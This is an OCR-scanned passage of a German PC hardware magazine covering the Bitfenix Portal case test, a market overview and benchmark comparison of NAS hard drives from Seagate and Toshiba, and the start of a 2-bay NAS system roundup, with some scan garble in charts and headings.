aber bei 1.810 MHz hilt. Im Gegen- 
zug sorgt die erhóhte Lüfterdrehzal 
für einen Anstieg der Lautheit auf 
2,9/30 Sone. Es lohnt sich also das 
Bitfenix Portal mit einer Spieler- 
GPU zu bestücken, die leise ist (sie- 
he Punkt „Lautheit“ im Einkaufs- 
führer Grafikkarten). (fs) 


Fazit Нагйшаге 


Test Bitfenix Portal 

Für einen HTPC ist das optisch auffàllige 
und hochwertig gefertigte Bitfenix Por- 
tal optimal geeignet. Wer den Hingucker 
als Spiele-Mini nutzen möchte, muss 
für den leisen Betrieb das mögliche 
Heruntertakten der Grafikkarte in Kauf 
nehmen. Egal für welche GPU Sie sich 
entscheiden, die Geräuschkulisse hängt 
stark von der Lautheit deren Lüfter ab. 


Da die Platine im Bitfenix Portal um 90 Grad gedreht eingebaut wird, liegt die Grafik- 


karte oben im Deckel. Das SFX-Netzteil wandert im Gegenzug nach unten an den Boden. 


Gehäuse 


Hersteller (Webseite) 


Portal 
Bitfenix (www.bitfenix.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1594254 


Preis/Preis-Leistungs-Verhältnis 
(getestete Version) 


Ca. € 130,-/befriedigend 
(Sichtfenster im Deckel/keine Dämmung) 


Version ohne Fenster/ohne Dämmung 


Ca. 130,- Euro/nicht vorhanden 


Ausstattung (20 %) 5,38 


Plätze für Laufwerke 2 x 3,5/2,5 Zoll, 1 x 2,5 Zoll 

Erweiterungs-Slots (Blende) 2 

Handbuch Sehr ausführlich 

Lüfterplátze Deckel: -, Front:1 x 120 mm, Heck: 1 x 80 mm, Seite: -, 


Boden: - 


Vorhandene Lüfter 


2 x 120 mm (Front), 1 x 80 mm (Heck) 


Frontanschlüsse 


2 x USB 3.0, Audio 


Besonderheiten 


Fenster im Deckel, System für GPU-Befestigung, Schub- 
ladensystem für Innenraum (Dual-Frame-Design), Staub- 
schutz an der Front, Heck und Boden 


Eigenschaften (20 %) 1,99 
Material (nicht gewertet) Aluminium, Stahl, Kunststoff 
Gewicht (Nicht gwertet) 5,8 kg 


Abmessungen (H x B x T)/Volumen 


38,2 x 18,5 x 41,1 cm (ohne Standfuß)/29,0 Liter 


Platz für Grafikkarte/CPU-Kühler 


30,0/12,5 cm 


Verarbeitung allgemein/Schnittkanten 
Nerwindungssteifheit 


Sehr gut/sehr gut/gut 


Zusammenbau * 


Gut: Im Innenraumrahmen ist Platz knapp bemessen. 
Dadurch dass der Rahmen auf der Schiene aber komplett 
herausgefahren und sogar von der äußeren Hülle gtrennt 
werden kann, gibt es keine Probleme beim Einbau der 
Hardware. 


Besonderheiten beim Zusammenbau 


2,5-Zoll-Laufwerkshalterungen auf dem 3,5/2,5-Zoll- 
Kombikáfig demontierbar, Hecklüfter für WaKü verschieb- 


bar, Zweikammersystem mit Schiene, Innenraum kann kom- 


plett aus dem Rahmen geholt werden, Aussparung hinter 
dem Sockel, sehr gute Entkoppelung der HDDs 


Praxisprobleme 


Keine Probleme 


Kompatibilitätstest 


Temperatur CPU (Luft/Wasserkühlung**) 


ATX, Extended und XL-ATX passen nicht 


Leistung (Luft-/Wasserkühlung** 60 %) 3,12/3,84 


79° C/76° C 


Temperatur GPU (Luftkühlung: Lüfterdrehzahl/ 
Takt; Wasserkühlung* *: Lüfterdrehzahl/Takt) 


82° C (2.408 U/min/1709 MHz)/ 
83° C (2.474 U/min/1.810 MHz) 


FAZIT 


Temperatur Innenraum Gehàuse/M.2-SSD 51° С/64 °С; 
(Luftkühlung; Wasserkühlung* *) 54° С/76 °С 
Lautheit der Lüfter (Luftkühlung; Wasserküh- 1,7/1,8 Sone; 
lung**)/50 cm Abstand frontal/schräg vorne |2,9/3,0 Sone 
(45-Grad-Winkel) 
OA g Desig 
© Lautheit de er vo 8 Sone ohne Dä g 
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* System: Intel Core i7-6700K, Intel Z170, Gigabyte Geforce GTX 1070 Mini ITX OC (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Thermalright AXP-100 (Q-Fan-Profil: Standard), Corsair RM 


550X/550 Watt (ATX), Umgebungstemperatur: 24 °C ** System WaKü: Alpenfóhn Wasser (120-mm-Radiator), EVGA GTX 1070 Superclocked statt Gigabyte Geforce GTX 1070 Mini ITX ОС 
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Bild: Aidbox 


TOSHIBA 


` High-Reliability 
~ Hard Drive 
N300 


IRONWOLF 


IronWolf 


ST10000VN0004 
1ZD101-500 


och Kapazitäten frei 


Die Festplatte ist das lebende Fossil der PC-Technik - steinalt und ein Aussterben ist noch immer 
nicht in Sicht. Dafür ist sie gegenüber einer SSD viel günstiger und in hohen Kapazitäten verfügbar. 


it der SSD haben die rotieren- 

den Scheiben zwar gehörig 
Konkurrenz bekommen, dennoch 
ist der Preis pro Gigabyte bei der 
Festplatte noch immer am günstigs- 
ten. Doch längst ist in vielen Rech- 
nern die Systempartition auf einen 
Flash-Datenträger umgezogen. 
Lese- und Schreibraten der flotten 
SSDs sind um ein Vielfaches bes- 
ser, zügigeres Booten und prompte 
Programmstarts machen den Vor- 
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teil auch für Jedermann spürbar. 
Die geringere Kapazität und der 
hóheren Preis pro GB gegenüber 
einer HDD nimmt ein Anwender 
dafür gerne in Kauf. 


Aus so manchen PCs ist die Fest- 
platte daher ganz verschwunden. 
Oft wird sie nur noch extern per 
USB angebunden und dient als 
Datengrab. Selbst diese Funktion 
schien der Flash-Speicher der Fest- 


platte streitig zu machen, indem 
die ersten externen SSDs auf den 
Markt kamen - wenn auch noch 
zum unverschämt hohen Preis. 
Obwohl sich die Kapazitäten auch 
hier sehen lassen können: Es gibt 
bereits SSDs bis 4 TByte. Aber hier 
steigt der Preis der Modelle direkt 
proportional mit der Kapazität - im 
Gegensatz zu dem der Festplatten. 
Technisch ist Flash den drehenden 
Plattern zwar klar überlegen, etwa 


was Stromeffizienz, Datenraten 
oder Stoßempfindlichkeit angeht. 
Aber in Preis und Spitzenkapazität 
ist die Festplatte klar vorne. Satte 
12 TByte fasst das üppigste (und 
einzige) Modell. Hier kostet der 
Terabyte aber fast doppelt so viel 
wie bei 10-TByte-HDDs, die daher 
im Preis pro Kapazität am besten 
abschneiden. Da SSDs, in welchem 
Format auch immer, bei gleicher 
Kapazität aktuell das Acht- bis 
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Zehnfache kosten, behält die Fest- 
platte ihre Funktion als Datengrab. 
Zwar schien es so, als würde der 
Flash-Speicher die Festplatte ganz 
ersetzen, da der Preis langsam aber 
stetig fiel und deswegen externe 
SSDs und solche mit hoher Kapazi- 
tät erst möglich machte. Da er aber 
in Smartphones und Notebooks 
deswegen auch immer beliebter 
wurde, herrschte Mitte letzten Jah- 
res Flash-Knappheit und der Preis 
stieg wieder an. Der Festplatten- 
speicher aber blieb niedrig und 
sank sogar leicht - seine Tage wa- 
ren also nicht länger gezählt. 


Auch Festplatten werden 
weiterentwickelt 

Die Festplatten scheinen sich zwar 
seit mehreren Jahrzehnten äußer- 
lich nicht verändert zu haben, aber 


www.pcgameshardware.de 


auch sie werden stetig weiterent- 
wickelt - also langlebiger, etwas 
schneller und stets mit wachsen- 
der Kapazität. 2014 etwa stellte 
die Festplattenmarke HGST (Hita- 
chi) erstmals ein 10-TByte-Modell 
mit Helium statt mit Luft gefüllt 
vor. Das Edelgas hat eine geringe- 
re Dichte als Luft, was es möglich 
macht, Platten enger übereinander 
zu setzen, da dadurch Strömungs- 
effekte minimiert werden. Zudem 
sollen die Festplatten dadurch 
auch etwas kühler laufen, was letzt- 
lich auch Strom spart. Laut HGST 
sollen dem mehrere Jahre Entwick- 
lungszeit vorausgegangen sein, da 
es nicht nur eine Herausforderung 
war, das Gas in das Gehäuse hinein 
zu bekommen, sondern es auch so 
zu verschließen, dass es nicht wie- 
der entweicht. Mittlerweile sind 
Festplatten mit hoher Kapazität al- 
ler Marken mit Helium gefüllt. 


“Shingled Magnetic Recording” 
heißt das Verfahren der überlap- 
penden Datenspuren. Es ähnelt 
den Dachziegeln (engl. “shingle”), 
die der Technologie den Namen 
gaben. Wegen der dünneren Spu- 
ren wächst die Kapazität um bis 
zu ein Viertel bei gleichem Platz. 
Darunter leidet aber die Schreibge- 
schwindigkeit, die mittels Pufferzo- 
nen und Cache wieder etwas auf- 
poliert wurde. Aktuell verwenden 
aber nur noch wenige bzw. ältere 
Modelle die SMR-Technik. 


Manche NAS-HDDs, also Festplat- 
ten für den Dauereinsatz, werben 
mit sogenannten КУ-Ѕепѕогеп 
(engl. „Rotational Vibration Sen- 
sors^) Sie sollen die rotiations- 
bedingten Schwingungen der 
Spindelmotoren erfassen und kom- 
pensieren. Relevant ist das aber nur 
in Systemen mit vier Festplatten 
oder mehr. 


Verglichen mit SSDs kommt es bei 
den HDDs wirklich nicht mehr auf 
die Geschwindigkeit an. Dennoch 
scheint sich selbst bei Datengrab- 
Festplatten mit hoher Kapazität 
die schnellere der beiden üblichen 
Drehzahlen durchgesetzt zu haben: 
Von der Western Digital Red abge- 
sehen, die noch immer mit 5.400 
Umdrehungen pro Minute läuft, 
werden die meisten NAS-HDDs mit 
7.200 U./Min. betrieben. Das haben 
wir schon in der letzten Marktüber- 
sicht in Ausgabe 08/15 festgestellt. 


Geräuschentwicklung 


Lautheit in Sone 


Seagate Ironwolf 


Flüstergeräte und etwa so laut wie ein Notebook. 


1,6 IB Lautheit inaktiv W Lautheit aktiv 


Bemerkungen: Während SSDs komplett lautlos arbeiten, wird in einer Festplatte noch richtig gearbeitet. 
Lesekopf und drehende Platten erzeugen Geräusche. Große Festplatten sind meist für den professionellen 
Einsatz im Rechenzentrum entwickelt und dort muss es nicht leise sein. Daher sind unsere Vertreter auch keine 


Seagate NAS HDD Toshiba N300 


Auf der Platine an der Rückseite sitzt d 
Controller, DRAM-Cache und Co. 


ie gesamte Elektronik der Festplatte, also 


Festplatten, die mit Helium gefüllt 
sind, wirken wie aus einem Guss. 
Charakteristisch für sie sind die feh- 
lenden Schrauben an der Oberseite 
des Gehäuses. 
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Auch damals testeten wir Modelle 
mit hoher Kapazität und der hö- 
heren Drehzahl. Die hier geteste- 
ten aktuellen Seagate-Modelle sind 
aber nochmal etwas schneller - 
trotz gleicher Drehzahl. 


Der Markt wird 
übersichtlich 

Allem Durchhaltevermögen der 
Festplatte zum Trotz ist natürlich 
der Markt insgesamt kleiner ge- 
worden. Ausgestorben ist sie zwar 
nicht, die SSD hat ihr aber ordent- 
lich Wasser abgegraben, 
sich aktuell nur noch drei Firmen 
den Kuchen teilen: 


sodass 


I Western Digital mit 
Tochterunternehmen HGST 

I Seagate 

I Toshiba 


Western Digital (43 Prozent) teilt 
sich mit Seagate (40 Prozent) das 


Gros der Torte, während für To- 
shiba (17 Prozent) ein Stückchen 
übrig bleibt. Was externe Speicher 
angeht, entdeckt man noch die ein 
oder andere Marke. Maxtor etwa 
feierte mit einer externen 4-TByte- 
Platte im 2,5-Zoll-Format ein Come- 
back. Unter den Modellen mit 6 
TByte an Kapazität oder darüber 
findet man nur 3,5-Zöller der oben 
genannten vier Marken. 


Markt-, Übersicht” 

Was interne Festplatten betrifft, 
so beschränken wir uns auf die 
Nische, die für den Gamer am ehes- 
ten interessant ist - Modelle über 
6 TByte. Solche, die etwa in einem 
NAS zum Einsatz kommen oder im 
PC den Teil einer Steam-Bibliothek 
hüten, der weniger genutzt ist. Von 
Western Digital konnten wir leider 
kein Modell ergattern, binnen vier 
Wochen wollte der Marktführer 


Kopiertest: Schnelligkeit bei 5 Gbyte 


5 GByte Kopieren (eine Datei) 


5 GByte Kopieren (25.000 Dateien) 


Seagate Ironwolf 8 46 (Basis) 
Seagate NAS HDD [Eu 46 (0 96) 
Toshiba N300 Eu 51 (+11 96) 


Seagate NAS HDD Б 59 (Basis) 
Seagate Ironwolf == 65 (+10 96) 
Toshiba №300 E 73 (+24 96) 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 797 Extreme 6, 
8 GiByte DDR3-2133, MSAHCI 6.3.96000 Bemerkungen: Je mehr einzelne Dateien, 
umso lánger dauert das Kopieren bei gleicher Datenmenge. 


Sekunden 
< Besser 


uns trotz mehrmaligem Nachfra- 
gen keine WD Red zur Verfügung 
stellen, geschweige denn eine 
HGST-HDD. Damit fallen schon mal 
zwei der vier Marken weg, sodass 
wir lediglich Modelle von Seagate 
und Toshiba 
konnten. 


zusammenkratzen 


Seagate ist unter den hohen Kapa- 
zitäten noch recht breit aufgestellt. 
Mittlerweile haben die Modelle je 
nach Einsatzzweck jeweilige Mar- 
kennamen. Ironwolf heißt nun die 
Festplatte für den Dauerbetrieb, 
die gute alte Barracuda ist wieder 
das Desktop-Modell, und Skyhawk 
ist die Festplatte für Videoüber- 
wachung. Die Vorgänger wurden 
zweckmäßig NAS HDD, Desktop 
HDD und Surveillance genannt. 
Toshiba hat nur noch drei aktuel- 
le Festplattenmodelle: P300 ist die 
Desktop-HDD, E300 das Energie- 
sparmodell und N300 der Dauer- 
läufer. 


Seagate Ironwolf: Schnelle NAS- 
Festplatte mit gutem Preis-Leis- 
tungsverhältnis. Die Ironwolf ist 
Seagates aktuelles Aushängeschild 
unter den NAS-Festplatten. Mit Ka- 
pazitäten zwischen 1 und 10 TByte 
ist die Ironwolf in allen sinnvollen 
Größen verfügbar. Ab 4 TByte sind 
auch RV-Sensoren mit an Bord. Das 
von uns getestete 10-TByte-Modell 
ist mit Helium gefüllt und im Preis 
pro Gigabyte nur unwesentlich 


teurer als luftgefüllte Ironwolf-Mo- 
delle mit geringerer Kapazität. Das 
Datenblatt nennt bei der Helium- 
Festplatte aber geringere Wattzah- 
len beim Stromverbrauch. 


Bei vorherigen Helium-Modellen 
setzte Seagate (und auch HGST) auf 
die bereits erwähnte SMR-Technik. 
Aktuelle Helium-Festplatten arbei- 
ten wieder mit schnellerem Per- 
pendicular Magnetic Recording 
(PMR) - so auch die Ironwolf. Im 
Leerlauf messen wir mit 6,1 Watt 
sogar einen geringeren Wert als 
der des Datenblatts (6,8 Watt). Was 
zunächst ungewöhnlich wirkt, ge- 
rade weil Hersteller gerne eher 
den günstigeren Messwert nen- 
nen, dürfte an der Messmethode 
liegen. Wir haben nach fünf Minu- 
ten ohne Zugriffe den Mittelwert 
einiger Sekunden hergenommen, 
um Schwankungen bestmöglich 
auszugleichen. 
Stromverbrauch erheben wir stets 


Den maximalen 


im Schreibzugriff und messen so- 
mit stets zweistellige Wattzahlen - 
auch bei der recht effizienten Iron- 
wolf. Die Herstellerangabe unter 
„Betrieb“ liegt stets darunter und 
dürfte beim genügsameren Lesen 
erhoben worden sein. Da sich eine 
Festplatte aber meist im Leerlauf 
befindet, ist dieser Wert der wich- 
tigere. 


Eine NAS-HDD ist kein langsames 
Datengrab mehr. Ältere NAS-Mo- 


HD Tune Pro: Datenraten 


HD Tune Pro: Zugriffszeiten 


Sequenzielle Leseleistung 


Sequenzielle Schreibleistung 


Seagate NAS HDD = =I8 188,5 (Basis) 
Seagate Ironwolf | 196,7 (0 %) 
Toshiba N300 pm 167 (-15 %) 


Seagate NAS HDD [XX 194,3 (Basis) 
Seagate Ironwolf EX 185,8 (4 %) 
Toshiba N300 =n 163 (-16 96) 


Mittlere Zugriffszeit (Lesen) - Millisekunden; « Besser 
Toshiba N300 X 12 (Basis) 
Seagate Ironwolf EX 148 (+23 %) 
Seagate NAS HDD [Xm 15,8 (+32 90) 
Mittlere Zugriffszeit (Schreiben) - Millisekunden; « Besser 


Seagate NAS HDD [XX 6,35 (Basis) 
Seagate Ironwolf | 7,32 (-39 %) 
Toshiba N300 [Em 13,4 (+12 %) 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 297 Extreme 6, 8 
GiByte DDR3-2133, MSAHCI 6.3.96000 Bemerkungen: Eine NAS-Festplatte muss nicht 
schnell sein, dennoch steigen die Datenraten immer weiter. 


MByte/s 
> Besser 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 797 Extreme 6, 8 
GiByte DDR3-2133, МЅАНСІ 6.3.96000 Bemerkungen: Eine NAS-Festplatte muss nicht 
schnell sein, dennoch steigen die Datenraten immer weiter. 


Millisek. 
< Besser 


Stromkosten: Erst auf lange Sicht wird's teuer 


Stromverbrauch: Unterschiede sind gering 


Stromverbrauch (Kosten bei EUR 0,29/kWh, kWh/Jahr) 
Toshiba N300 Eta iu 49 7 (Basis) 
Seagate Ironwolf 5/59 m 53,4 (+7 96) 
Seagate NAS HDD Eggs Em 65,7 (+32 96) 


Stromverbrauch (Watt) 


Toshiba N300 EX e 10,5 (Basis) 
Seagate Ironwolf =H 11,1 (46 90) 
Seagate NAS HDD Es 12,3 (+17 %) 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 297 Extreme 6, 8 
GiByte DDR3-2133, MSAHCI 6.3.96000 Bemerkungen: Die Differenz bei den Stromko- 
sten im Leerlaufbetrieb macht zwischen Toshiba und Seagate fast bis zu 5 € im Jahr aus. 


Euro": kwh 


< Besser 


etwas langsamer, dafür auch sparsamer im Betrieb 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 297 Extreme 6, 8 
GiByte DDR3-2133, MSAHCI 6.3.96000 Bemerkungen: Die Toshiba-Festplatte ist zwar 


Watt 
Schi: Leerl. 


< Besser 
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delle erreichten in vorangegange- 
nen Tests circa 120 bis 140 MB/s in 
den mittleren sequenziellen Trans- 
ferraten. Die aktuelle Ironwolf 
kommt in HDTune auf über 185 
MB/s - eine Steigerung um bis zur 
Hälfte binnen weniger Jahre. Mit 
0,6 Sone ist die Seagate-Festplatte 
auch nahezu lautlos im Leerlauf. 
Nur im Betrieb sind Geräusche zu 
vernehmen. Kurzum: Die Seagate 
Ironwolf ist eine leise, schnelle 
Festplatte, die sich preislich sehen 
lassen kann. 


Seagate NAS HDD: Vorgängermodell 
ohne Helium, das noch mithalten 
kann. Die Ironwolf hat die ,NAS 
HDD“ zwar schon längst abgelöst, 
sie ist aber noch immer auf dem 
Markt erhältlich. Es handelt sich 
auch hier um eine Festplatte mit ei- 
nem DRAM-Cache über 256 MByte 


und 7.200 U./Min. Obwohl das 
von uns getestete 8-TByte-Modell 
herkömmlich mit Luft gefüllt ist, 
unterscheidet sie sich nur in weni- 
gen Details von der Ironwolf. Der 
Stromverbrauch ist im Leerlauf 
mit circa einem Watt leicht höher, 
dafür aber auch die Datenraten um 
etwa 10 MByte/s. In unserem Pra- 
xistest macht sich das nur beim Ko- 
pieren vieler Dateien bemerkbar. 
Eine 5-GByte-Datei wird jedenfalls 
auf die NAS HDD genauso schnell 
geschrieben wie auf der Ironwolf. 
Das Luftmodell ist auch geringfü- 
gig lauter - 0,9 Sone ohne Zugriff 
- das ist aber nur per Messgerät 
feststellbar. Was die Effizienz ins- 
gesamt angeht, also Geräuschent- 
wicklung und Leistungsaufnahme, 
dürfte die NAS HDD eher den luft- 
gefüllten Ironwolf-Modellen (unter 
8 TByte) ähneln. 


Toshiba N300: Nicht ganz so schnell, 
nicht ganz so leise, nicht ganz so 
teuer. Die Toshiba N300 haben 
wir mit 6 TByte an Kapazität getes- 
tet - es gibt sie auch mit 4 oder 8 
TByte. In jeder Größe umfasst der 
DRAM-Puffer 128 MByte. Bei der 
Ironwolf ist der Cache nur beim 
6-TByte-Modell so groß. Verglichen 
mit ihr wirken die Datenraten der 
N300 eher durchschnittlich. Mit 
HDTune erheben wir um die 165 
MByte/s. Unsere Kopiertests zei- 
gen, dass das bei einer Datenmenge 
über 5 GByte gut circa 5 Sekunden 
ausmacht. Die Toshiba N300 ist 
nicht unbedingt günstiger als die 
Ironwolf bei gleicher Kapazität, 
aberim Betrieb etwas genügsamer. 
Laut beider Datenblätter um etwa 
1 Watt weniger. Toshiba nennt hier 
6,1 Watt - wir messen sogar nur 5,7 
Watt. Was hier marginal erscheint, 


macht den Kohl übers Jahr erst 
richtig fett: Die Kilowattstunden ei- 
ner Seagate NAS HDD sind gut ein 
Drittel mehr, was allein im Leerlauf 
einige Euro pro Jahr ergeben. Der 
Verbrauch bei Zugriff ist zwar weit- 
aus hóher, NAS-Systeme schalten 
die Festplatten aber bei längerer 
Inaktivität ganz aus. (mc) 


Fazit Нагішаге 


Groß und günstig 

Nachdem unser letzter Festplattentest 
nun fast zwei Jahre her ist, haben wir 
einige neue Erkenntnisse gewonnen: 
HDDs werden größer, günstiger und 
mit Helium auch deutlich effizienter. In 
NAS-Systemen werden sie noch immer 
gebraucht und noch lange neben der 
SSD koexistieren. Kleiner wurde nur 
der Markt an sich. 


FESTPLATTEN 


Auszug aus Testtabelle 
mit 16 Wertungskriterien 


Produkt 


Modellnummer 


10 Terabyte 


8 Terabyte 


6 Terabyte 


IronWolf NAS HDD 
ST10000VN0004 


NAS HDD 
ST8000VN0002 


° usa 
TOSHIBA 


N300 
HDWQ140UZSTA 


Hersteller (Webseite) 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhältnis 


Seagate (seagate.com/de) 


Seagate (seagate.com/de) 


Toshiba (toshiba.semicon-storage.com) 


www.pcgh.de/preis/1479598 


www.pcgh.de/preis/1378729 


www.pcgh.de/preis/1562775 


Ca. € 375,-/ausreichend 


Ca. € 322,-/ausreichend 


Ca. € 135,-/gut 


FAZIT 
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© Leise und stromeffizient dank Helium 
© Großer Cache 
© Teuer 


Wertung: 1,81 


Speicherplatzkosten 0,04 €/GiByte 0,04 €/GiByte 0,02 €/GiByte 
Bauform Intern, 3,5 Zoll Intern, 3,5 Zoll Intern, 3,5 Zoll 
Umdrehungen pro Minute 7.200 U/min 7.200 U/min 7.200 U/min 
Ausstattung (20 %) 1,12 1,36 1,65 
Kapazität binär/dezimal 9.313 GiByte/10.000 GByte 7.452 GiByte/8.000 GByte 5.586 GiByte/6.000 GByte 
Cache 256 MiB 256 MiB 128 MiB 
Herstellergarantie 3 Jahre 3 Jahre 3 Jahre 
Eigenschaften (20 %) 2,89 3,08 2,98 
Schnittstelle SATA 6,0 GBit/s SATA 6,0 GBit/s SATA 6,0 GBit/s 
Lautheit im Leerlauf* 0,6 Sone 0,9 Sone 1,1 Sone 
Lautheit (Zugriff, max.)* 1,1 Sone 1,4 Sone 1,6 Sone 
Stromverbrauch (Leerlauf) 6,1 Watt 7,5 Watt 5,7 Watt 
Stromverbrauch (max.) 12,3 Watt 11,1 Watt 10,5 Watt 
Leistung (60 %) 1,68 1,60 1,63 

Mittlere Leseleistung 188,5 MByte/s 196,7 MByte/s 167 MByte/s 
Mittlere Schreibleistung 185,8 MByte/s 194,3 MByte/s 163 MByte/s 
Mittlerer Lesezugriff 14,8 ms 15,8 ms 12 ms 
Mittlerer Schreibzugriff 7,32 ms 6,35 ms 13,4 ms 

5 GiB Kopieren (1 Datei) 45,5 Sek. 45,5 Sek. 51 Sek. 

5 GiB Kopieren (25.000 Dat.) 65 Sek. 59 Sek. 73 Sek. 


© Schnell 
© Großer Cache 
© Hoher Verbrauch 


Wertung: 1,85 


© Günstiger Preis pro GByte 
© Relativ geringer Verbrauch 
© Laut 


Wertung: 1,90 
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Zentrales Datengrab 


Die Zeiten des einen PCs pro Haushalt sind längst vorbei. Damit Notebook, Smartphone oder Smart- 


TV auf die heimische Datenbibliothek zugreifen können, bedarf es eines NAS-Systems im LAN. 


aum jemand verwendet nur 
Ki den einen PC. Längst 
verwaltet der Router daheim ein 
heimisches Netzwerk unterschied- 
licher Geräte. Selbst wenn noch ein 
Tower unterm Tisch steht, ist der 
Schreibtischrechner selten der ein- 
zige Computer im Haushalt. Smart- 
phone, Notebook, Tablet 
Smart-TV klinken sich ebenfalls 
ins WLAN mit ein. Über die Jahre 
wächst die eigene Datenmenge, die 
entweder auf den einzelnen Gerä- 


oder 


ten gespeichert ist, wo sie erzeugt 
bzw. benötigt wird oder eben zen- 
tral auf einer Netzwerkfreigabe ge- 
sammelt ist. 


Beides hat Vor- und Nachteile: Hal- 
ten sich etwa die Schnappschüsse 
des Smartphones in Grenzen, kön- 
nen sie durchaus dort bleiben. Eine 
bequeme automatische Backup- 
Funktion in der (Internet-)Cloud 
bieten nicht nur Google oder 
Apple. Oder wird etwa die Video- 
Bibliothek nur zu den Feiertagen 
ausgegraben, reicht eine externe 
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Festplatte, die an den Rechner oder 
direkt an den TV angestöpselt wird. 


Natürlich ist es sicherlich billiger, 
den wachsenden Datenberg ein- 
fach auf mehrere USB-Festplatten 
zu verteilen. Je größer er aber 
wird, umso umständlicher wird 
es, mit den externen Medien her- 
umzujonglieren. Ein am Netzwerk 
angebundener Speicher, kurz NAS 
(Network Attached Storage) ist für 
den Power User daher die komfor- 
tablere Lösung, der eigenen Daten- 
flut Herr zu werden. 


Nun kann zwar jeder moderne Rou- 
ter per USB einen Stick oder eine 
externe Festplatte als Netzwerk- 
freigabe ins heimische LAN ein- 
speisen. Jedoch dürfen bei dieser 
einfachen Lösung keine Ansprüche 
bezüglich der Geschwindigkeit ge- 
stellt werden. Die USB-Verbindung 
ist oft ein zu enger Flaschenhals für 
das häufige oder gar parallele Hin- 
und Herschaufeln größerer Daten- 
mengen. 


> uu: Ya "“ |14174 

Mal davon abgesehen, dass es äu- 
ßerst umständlich ist, 
Giga- oder Terabytes einfach in 
einer günstigen bis kostenlosen 
Online-Cloud hochzuladen, hat 


mehrere 


der eigene Netzwerkspeicher auch 
eine politische Dimension: Von ei- 
ner ordentlichen gesunden Skepsis 
seit Snowden-Enthüllungen und 
NSA-Skandalen abgesehen, ist es 
auf jeden Fall bei professioneller 
Anwendung aktuell riskant, US- 
amerikanische Cloud-Dienste zu 
verwenden - also Speicherung 
sensibler oder fremder Daten. Nun 
gibt es natürlich europäische oder 
deutsche Alternativen. Dennoch ist 
sowohl der Datenschutz als auch 
die Privatsphäre im heimischen 
Netzwerk am besten gewahrt. 


INC У LIN. e Ic 

Ein NAS-System ist so viel mehr als 
nur ein schnödes Festplattengehäu- 
se mit LAN-Buchse. Diese Geräte 
gibt es nach wie vor, damit stößt 


амар 


man aber schnell ап seine Сгеп- 
zen, wenn etwa mehrere Zugriffe 
gleichzeitig möglich sein sollen 
oder etwa ein Media-Server darauf 
läuft. 


Vielmehr sind NAS-Systeme voll- 
wertige kleine Rechner, oft mit 
Mehrkern-Prozessor und mehreren 
GByte an Arbeitsspeicher. Warum 
man die Festplatten nicht einfach 
im PC betreibt? Ganz einfach: Weil 
dieser ein Vielfaches an Strom 
schluckt, wenn der Speicher stets 
im Netzwerk verfügbar sein soll. 


Neben der Stromeffizienz ist die 
komfortable Softwareausstattung 
ein Pluspunkt der kleinen NAS- 
Kisten. Deren Desktop-Oberfläche 
wird am PC oder Notebook per 
Browser bzw. am Smartphone per 
App aufgerufen. Der Desktop im 
Browser ist dabei mehr als nur eine 
schlichte Administrations-Website, 
wie man sie etwa von Routern her 
kennt. Die Bedienung ist nicht 
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minder komfortabel als etwa auf 
dem „echten“ Windows-Desktop: 
Symbole werden per Doppelklick 
geöffnet, Verknüpfungen können 
erstellt, Widgets für die Startseite 
können hinzugefügt und auch Me- 
diendateien direkt im Browser ge- 
öffnet bzw. gestreamt werden. 


Unterschiedliche Zusatzdienste 
können auf dem NAS-System lau- 
fen und als App zusätzlich instal- 
liert werden. Die App-Verwaltung 
erinnert an die der Smartphones 
und deren Umfang steht diesen 
in kaum etwas nach: So gibt es 
auch hier Antiviren-Software, Mail- 
Clients, Bittorrent-Clients, Down- 
load-Manager, Office-Werkzeuge, 
Teamspeak-Server - ja sogar Casual 
Games sind zu finden. Für den pro- 
fessionellen Einsatz sind etwa Web- 
oder Datenbankserver vorhanden, 
genauso wie Online-Shops, Wikis, 
Blogs oder Überwachungssysteme 
für Kameras. Sogar virtuelle Ma- 
schinen mit Linux oder Windows 
laufen auf den leistungsfähigeren 
NAS-Maschinen. 


Für den Heimanwender dürften 
die Multimedia-Fähigkeiten aber 
am interessantesten sein. Ein NAS 
dient hier nicht nur als Server für 
verschiedene X Video-Dienste via 
Plex, Kodi oder DLNA, die HDMI- 
Sticks übers Netzwerk am Fernse- 
her befeuern. Eine HDMI-Buchse 
an manchem NAS macht diese auch 
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überflüssig und den Festplattenkas- 
ten selbst zum Multimedia-Server, 
der direkt am TV hángt. Dann ist 
es auch egal, welcher Multimedia- 
Dienst unterstützt wird, wenn 
nichts mehr übers Netzwerk ge- 
streamt werden muss. 


Wer Wert auf einen bestimmten 
(Multimedia-)Dienst legt, sollte vor- 
her überprüfen, ob er einerseits im 
Paketzentrum des Herstellers an- 
geboten wird und andererseits das 
System dafür leistungsstark genug 
ist. Einen iTunes-Server beispiels- 
weise gibt es schon unter den Ein- 
steigermodellen. Wer eine virtuelle 
Maschine braucht, sollte auf ausrei- 
chend dimensionierte Hardware- 
Ausstattung achten. 


Unsere vier 
NAS-Stichproben 
NAS-Leergehäuse, die den eben 
beschriebenen Komfort einer Web- 
Oberfläche bieten, gibt es schon ab 
unter 100 Euro - selbst solche mit 
zwei Festplattenanschlüssen (Bay). 
Wir haben uns deswegen für die so- 
genannten 2-Bay-NAS-Systeme ent- 
schieden, da ein erfahrener Nutzer 
unter Umständen auch ein RAID- 
System betreiben móchte, dessen 
Zweck sowie Vor- und Nachteile im 
Kasten rechts beschrieben sind. 


Das Zyxel NAS326 ist der einzige 
Vertreter der U-100-Einsteigerklas- 
se. Alle anderen drei Modelle kos- 
ten leer über 300 Euro, bieten da- 
für mehrere CPU-Kerne, grófseren 
Arbeitsspeicher und einige andere 
Features mehr. Es handelt sich also 
wieder mal um einen Vergleich von 
Äpfeln mit Birnen, der idealerwei- 
se keiner sein soll. Vielmehr sollen 
die Stichproben ihre Preis- und 
Einsatzkategorie vertreten. Typisch 
für günstige Modelle, hat das Zyxel- 
Modell eine ARM-CPU verbaut, 
während die potenteren und teu- 
reren Modelle mittlerweile einen 
x86-Rechenchip, genauer gesagt ei- 
nen Intel Celeron, unter der Haube 
